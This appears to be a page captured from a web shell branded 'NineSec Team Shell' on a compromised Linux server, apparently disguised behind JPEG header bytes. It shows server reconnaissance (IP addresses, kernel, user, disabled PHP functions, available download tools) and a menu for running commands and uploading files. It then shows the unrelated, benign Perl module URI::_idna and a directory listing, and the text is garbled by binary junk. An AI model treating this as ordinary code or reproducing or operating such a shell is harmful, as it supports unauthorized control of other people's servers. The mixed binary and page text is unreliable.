�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/../bin/../lib64/../usr/share/perl5/URI/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/../bin/../lib64/../usr/share/perl5/URI/_idna.pm
package URI::_idna;

# This module implements the RFCs 3490 (IDNA) and 3491 (Nameprep)
# based on Python-2.6.4/Lib/encodings/idna.py

use strict;
use warnings;

use URI::_punycode qw(encode_punycode decode_punycode);
use Carp qw(croak);

our $VERSION = '1.76';

BEGIN {
  *URI::_idna::_ENV_::JOIN_LEAKS_UTF8_FLAGS = "$]" < 5.008_003
    ? sub () { 1 }
    : sub () { 0 }
  ;
}

my $ASCII = qr/^[\x00-\x7F]*\z/;

sub encode {
    my $idomain = shift;
    my @labels = split(/\./, $idomain, -1);
    my @last_empty;
    push(@last_empty, pop @labels) if @labels > 1 && $labels[-1] eq "";
    for (@labels) {
	$_ = ToASCII($_);
    }

    return eval 'join(".", @labels, @last_empty)' if URI::_idna::_ENV_::JOIN_LEAKS_UTF8_FLAGS;
    return join(".", @labels, @last_empty);
}

sub decode {
    my $domain = shift;
    return join(".", map ToUnicode($_), split(/\./, $domain, -1))
}

sub nameprep { # XXX real implementation missing
    my $label = shift;
    $label = lc($label);
    return $label;
}

sub check_size {
    my $label = shift;
    croak "Label empty" if $label eq "";
    croak "Label too long" if length($label) > 63;
    return $label;
}

sub ToASCII {
    my $label = shift;
    return check_size($label) if $label =~ $ASCII;

    # Step 2: nameprep
    $label = nameprep($label);
    # Step 3: UseSTD3ASCIIRules is false
    # Step 4: try ASCII again
    return check_size($label) if $label =~ $ASCII;

    # Step 5: Check ACE prefix
    if ($label =~ /^xn--/) {
        croak "Label starts with ACE prefix";
    }

    # Step 6: Encode with PUNYCODE
    $label = encode_punycode($label);

    # Step 7: Prepend ACE prefix
    $label = "xn--$label";

    # Step 8: Check size
    return check_size($label);
}

sub ToUnicode {
    my $label = shift;
    $label = nameprep($label) unless $label =~ $ASCII;
    return $label unless $label =~ /^xn--/;
    my $result = decode_punycode(substr($label, 4));
    my $label2 = ToASCII($result);
    if (lc($label) ne $label2) {
	croak "IDNA does not round-trip: '\L$label\E' vs '$label2'";
    }
    return $result;
}

1;

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
October 23 2023 6:31:02
root
0755
file
--
March 29 2022 10:40:32
root
0755
urn
--
March 29 2022 10:40:32
root
0755
Escape.pm
6.896 KB
January 09 2019 5:59:57
root
0644
Heuristic.pm
6.371 KB
January 09 2019 5:59:57
root
0644
IRI.pm
0.775 KB
January 09 2019 5:59:57
root
0644
QueryParam.pm
4.747 KB
January 09 2019 5:59:57
root
0644
Split.pm
2.298 KB
January 09 2019 5:59:57
root
0644
URL.pm
5.358 KB
January 09 2019 5:59:57
root
0644
WithBase.pm
3.767 KB
January 09 2019 5:59:57
root
0644
_foreign.pm
0.104 KB
January 09 2019 5:59:57
root
0644
_generic.pm
5.686 KB
January 09 2019 5:59:57
root
0644
_idna.pm
2.03 KB
January 09 2019 5:59:57
root
0644
_ldap.pm
3.173 KB
January 09 2019 5:59:57
root
0644
_login.pm
0.226 KB
January 09 2019 5:59:57
root
0644
_punycode.pm
5.49 KB
January 09 2019 5:59:57
root
0644
_query.pm
2.472 KB
January 09 2019 5:59:57
root
0644
_segment.pm
0.406 KB
January 09 2019 5:59:57
root
0644
_server.pm
3.637 KB
January 09 2019 5:59:57
root
0644
_userpass.pm
1.01 KB
January 09 2019 5:59:57
root
0644
data.pm
3.312 KB
January 09 2019 5:59:57
root
0644
file.pm
9.532 KB
January 09 2019 5:59:57
root
0644
ftp.pm
1.031 KB
January 09 2019 5:59:57
root
0644
gopher.pm
2.371 KB
January 09 2019 5:59:57
root
0644
http.pm
0.415 KB
January 09 2019 5:59:57
root
0644
https.pm
0.141 KB
January 09 2019 5:59:57
root
0644
ldap.pm
2.855 KB
January 09 2019 5:59:57
root
0644
ldapi.pm
0.431 KB
January 09 2019 5:59:57
root
0644
ldaps.pm
0.141 KB
January 09 2019 5:59:57
root
0644
mailto.pm
1.246 KB
January 09 2019 5:59:57
root
0644
mms.pm
0.122 KB
January 09 2019 5:59:57
root
0644
news.pm
1.42 KB
January 09 2019 5:59:57
root
0644
nntp.pm
0.124 KB
January 09 2019 5:59:57
root
0644
pop.pm
1.179 KB
January 09 2019 5:59:57
root
0644
rlogin.pm
0.126 KB
January 09 2019 5:59:57
root
0644
rsync.pm
0.202 KB
January 09 2019 5:59:57
root
0644
rtsp.pm
0.122 KB
January 09 2019 5:59:57
root
0644
rtspu.pm
0.123 KB
January 09 2019 5:59:57
root
0644
sftp.pm
0.096 KB
January 09 2019 5:59:57
root
0644
sip.pm
1.669 KB
January 09 2019 5:59:57
root
0644
sips.pm
0.14 KB
January 09 2019 5:59:57
root
0644
snews.pm
0.168 KB
January 09 2019 5:59:57
root
0644
ssh.pm
0.171 KB
January 09 2019 5:59:57
root
0644
telnet.pm
0.125 KB
January 09 2019 5:59:57
root
0644
tn3270.pm
0.125 KB
January 09 2019 5:59:57
root
0644
urn.pm
2.124 KB
January 09 2019 5:59:57
root
0644

NineSec Team - 2022